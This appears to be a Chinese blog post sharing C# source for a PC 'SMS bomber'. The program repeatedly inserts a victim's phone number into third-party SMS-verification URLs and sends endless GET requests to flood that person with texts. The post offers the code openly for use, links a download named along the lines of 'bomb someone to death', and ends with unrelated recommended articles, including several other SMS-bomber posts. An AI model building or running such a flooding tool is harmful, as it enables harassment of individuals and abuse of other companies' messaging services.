短信轰炸PC版
最编程
2024-03-29 07:54:17
...
前言
之前用过android版短信轰炸的apk,于是想反编apk查看源码找短信接口,做一个PC版本的,不料反编失败。后不了了之...
昨日逛论坛时无意中看到一个网站有此功能,打开一试究竟,效果可以,于是立即把这个功能调用的所有url拷贝下来,做了一个简易版。
效果图:
正文
短信接口地址:链接(接口地址不是特别多,测试最多接收几十条短信,每个地址之间已经用@分开,连接中的 手机号 三个就是要轰炸人的手机号)
原理:循环每一个链接,发送get请求,返回结果。(被轰人接收短信的数量跟他在各个网站账号中使用自己手机号的次数成正比)
问题:结果的显示不是很准确,暂时没有办法判断被轰人是否已接受短信。
直接贴代码:
private delegate void DelegateFun(object obj); private Thread thread = null; /// <summary> /// 发送 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnSend_Click(object sender, EventArgs e) { if (thread != null) { thread.Abort(); } txtResult.Text = ""; if (!CheckData()) { return; } thread = new Thread(new ParameterizedThreadStart(CrossThreadFlush)); thread.IsBackground = true; thread.Start(txtPhoneID.Text.Trim()); } /// <summary> /// 停止 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnStop_Click(object sender, EventArgs e) { if (thread != null) { thread.Abort(); } } /// <summary> /// 退出 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnExit_Click(object sender, EventArgs e) { Application.Exit(); } /// <summary> /// 线程 /// </summary> /// <param name="phoneID"></param> private void CrossThreadFlush(object phoneID) { while (true) { //将sleep和无限循环放在等待异步的外面 Thread.Sleep(100); ThreadFunction(phoneID); } } /// <summary> /// 线程 /// </summary> /// <param name="phoneID"></param> private void ThreadFunction(object phoneID) { SendRequest(phoneID); } private void DelegateSetValue(object resultIndex) { if (resultIndex == null || resultIndex.ToString() == "") { return; } string[] resArray = resultIndex.ToString().Split(','); StringBuilder sbResult = new StringBuilder(""); sbResult.AppendFormat("成功 {0} 次\r\n", resArray[0]); sbResult.AppendFormat("不确定 {0} 次\r\n", resArray[1]); sbResult.AppendFormat("失败数 {0} 次\r\n", resArray[2]); int total = Convert.ToInt32(resArray[0]) + Convert.ToInt32(resArray[1]) + Convert.ToInt32(resArray[2]); sbResult.AppendFormat("共轰击 {0} 次\r\n", total); this.txtResult.Text = sbResult.ToString(); } private void SendRequest(object phoneID) { string url = GetUrl(); int successIndex = 0;//成功条数 int nullIndex = 0;//不确定条数 int failIndex = 0;//失败条数 string[] arrStr = url.Split('@'); foreach (var item in arrStr) { if (string.IsNullOrEmpty(item)) { continue; } try { string urlLast = item.Replace("\r\n", "").Replace("手机号", phoneID.ToString()); string result = PostDataToUrl("", urlLast); if (!string.IsNullOrEmpty(result)) { if (txtResult.InvokeRequired) { successIndex++; DelegateFun d = new DelegateFun(DelegateSetValue); txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex); } } else { if (txtResult.InvokeRequired) { nullIndex++; DelegateFun d = new DelegateFun(DelegateSetValue); txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex); } } } catch (Exception) { if (txtResult.InvokeRequired) { failIndex++; DelegateFun d = new DelegateFun(DelegateSetValue); txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex); } continue; } } } /// <summary> /// 发送get请求 /// </summary> /// <param name="postDataStr"></param> /// <param name="Url"></param> /// <returns></returns> private string PostDataToUrl(string postDataStr, string Url) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url + (postDataStr == "" ? "" : "?") + postDataStr); request.Method = "GET"; request.ContentType = "text/html;charset=UTF-8"; HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream myResponseStream = response.GetResponseStream(); StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8")); string retString = myStreamReader.ReadToEnd(); myStreamReader.Close(); myResponseStream.Close(); return retString; } /// <summary> /// 数据校验 /// </summary> /// <returns></returns> private bool CheckData() { if (string.IsNullOrEmpty(txtPhoneID.Text.Trim())) { txtPhoneID.Focus(); errorProPhone.SetError(txtPhoneID, "输入手机号"); return false; } else { errorProPhone.Clear(); } return true; } /// <summary> /// 获取短信接口 /// </summary> /// <returns></returns> private string GetUrl() { string url = @"短信接口地址(附件中链接贴过来)"; return url; }
应用下载:轰死人补偿命
附 原地址:http://www.zhasini.ml/
推荐阅读
-
[问题解决] 如何在 PC 版微信上使用外置摄像头
-
iCloud 切换区域,中国区保留 appStore(更新)--自 2018 年 2 月 28 日起,中国区 iCloud 由云上贵州管理 苹果公司发布的公告 https://support.apple.com/zh-cn/HT208352 关键词 关键部分 受影响的 iCloud 账户:国家或地区设置为 "中国 "的 Apple ID。 iCloud 包含的服务照片、邮件、通讯录、日历、提醒事项、备忘、书签、钱包、钥匙串、云备份、云驱动器、应用程序数据 新条款和条件: 同意仅出于本协议允许的目的并在中国法律允许的范围内使用服务。 云桂洲在提供服务时应使用合理的技能并尽职尽责,但在适用法律允许的最大范围内,我们不保证或担保您通过本服务存储或访问的任何内容不会意外损坏、崩溃、丢失或根据本协议的条款被删除,如果发生此类损坏、崩溃、丢失或删除,我们不承担任何责任。您应自行负责维护您的信息和数据的适当备份。 Apple 和云上贵州有权访问您存储在服务中的所有数据,包括有权根据适用法律相互之间共享、交换和披露所有用户数据(包括内容)。 本协议的解释、效力和履行应适用*法律。对于因本协议引起的或与本协议有关的任何争议,云桂洲和您同意提交中国国际经济贸易仲裁委员会(CIETAC)根据提交仲裁时有效的法律在北京进行具有约束力的仲裁。 由云桂洲管理,用户选择: 停用; ID 到地区; 受 iCloud(由云桂洲运营)条款和条件约束 首先,我想说说我对数据安全的看法。 当我在朋友圈发布通知时,有些朋友回复说国外的操作并没有多安全,或者国外的安全只是相对于国外而言的等等。首先,我非常感谢这些朋友,这让我反思什么是数据安全。以下观点均属个人观点: 国外的月亮一定比国内圆? 这是一个根深蒂固的问题,只要有人说国外的东西比国内好,就会有人嘲笑崇洋媚外。我觉得我们在某些方面应该向国外学习,比如搜索引擎和版权问题。打开百度搜索 "数据安全",第一行肯定是广告。打开谷歌搜索 "数据安全",第一条就是 "数据安全_百度百科" .....各种版权问题大家都明白,支持正版,但不仅客户一心想找免费破解,就连作者也往往没有保护自己劳动成果或产品的想法。但从另一个层面来说,国内的发展和安全,甩国外几条街。没有说哪里好,哪里不好,辩证地去学习更好。 国外也有别有用心的数据泄露,谈何安全? 从加密解密的角度看,自古以来就没有绝对安全的加密,只有相对安全的做法。苹果的棱镜门、微软的 cpu 漏洞,各种参差不齐的被破解案例 ....是的,这的确是一个很好的论据,但凡事都不能只看一面,当年苹果面对FBI破解手机的要求,几经论证,苹果还是拒绝破解。这点拿到国内,只要上面的文件传达下去,还有企业敢说不吗?还敢说不吗? 关于这次iCloud数据迁移个人看法? 把数据迁移到贵州的云端,相当于把手机的所有数据都存储在贵州的云端服务器上。也许访问数据的速度会快很多,但我会把我的iCloud区放到美国,因为我不想数据存在云上贵州后经常接到莫名其妙的电话或短信,更不想因为乱用国外服务器而被请去喝茶。iCloud一个ID,即从中国账号转到美国区,主要用于数据存在美国服务器上。appStore一个ID,除了注册一个中国ID外,专门用来下载应用用,因为国外ID不支持酷狗和网易云等应用。麻烦的是,用了新的 appStore ID 后,当前的应用还得重新下载安装,因为旧的应用 ID 与新的应用 ID 不兼容,安装不了。最后,iCloud迁移后,国内用户使用美国服务器,估计要 "扶墙 "了。 专业步骤: 首先,进行appleID设置,这是前提条件,否则无法选择转移区域! 取消 appleID 的双重认证 取消家庭共享选项 二、窗口下载并安装 icloud 3.0 版
-
pc remote电脑端(魔控电脑遥控器) v5.7.0.0 中文安装免费版
-
信息轰炸机(C 语言版)
-
短信轰炸PC版
-
手把手教你实现 "短信轰炸"。
-
短信轰炸剖析
-
这是一个强大而免费的 Python 短信轰炸程序,专门轰炸坏蛋,请不要滥用!
-
播客(Podcast)推荐列表和 Moon FM PC 版 [破解版] [入口
-
官方移植还在等待中,民间高手自力打造《荒野大镖客》PC版